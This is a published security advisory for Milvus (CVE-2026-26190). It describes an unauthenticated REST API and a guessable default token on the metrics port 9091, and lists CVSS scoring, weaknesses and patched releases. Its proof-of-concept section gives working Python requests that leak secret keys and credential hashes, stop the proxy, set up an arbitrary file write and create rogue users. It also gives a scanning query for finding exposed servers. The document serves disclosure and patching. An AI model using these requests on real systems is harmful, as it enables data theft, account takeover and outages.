Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise

## Summary Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. ## Details ### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to: - **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc. - **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service. - **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem. ### Vulnerability 2: Unauthenticated REST API on Metrics Port Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports. An attacker can perform any business operation without credentials, including: - Creating, listing, and deleting collections - Inserting and querying data - Creating, listing, and deleting user credentials - Modifying user passwords ## Proof of Concept ### PoC 1 , `/expr` Endpoint Exploitation ```python import requests url = "http://<target>:9091/expr" # Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", "")) # Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", "")) # Denial of Service , stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5) # Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5) ``` ### PoC 2 , Unauthenticated REST API Access ```python import requests target_url = "http://<target>:9091" # Create a user without any authentication res = requests.post(f"{target_url}/api/v1/credential", json={ "username": "attacker_user", "password": "MTIzNDU2Nzg5", }) print(res.json()) # List all users res = requests.get(f"{target_url}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']} # Create and delete collections, insert data , all without authentication ``` ## Internet Exposure A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern: ``` http.body="404 page not found" && port="9091" ``` This indicates the vulnerability is actively

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-1188, CWE-306, CWE-749

Also known as

BIT-milvus-2026-26190, CVE-2026-26190, GO-2026-4481

• github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6
• github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9
• github.com/milvus-io/milvus
• github.com/milvus-io/milvus/releases/tag/v2.5.27
• github.com/milvus-io/milvus/releases/tag/v2.6.10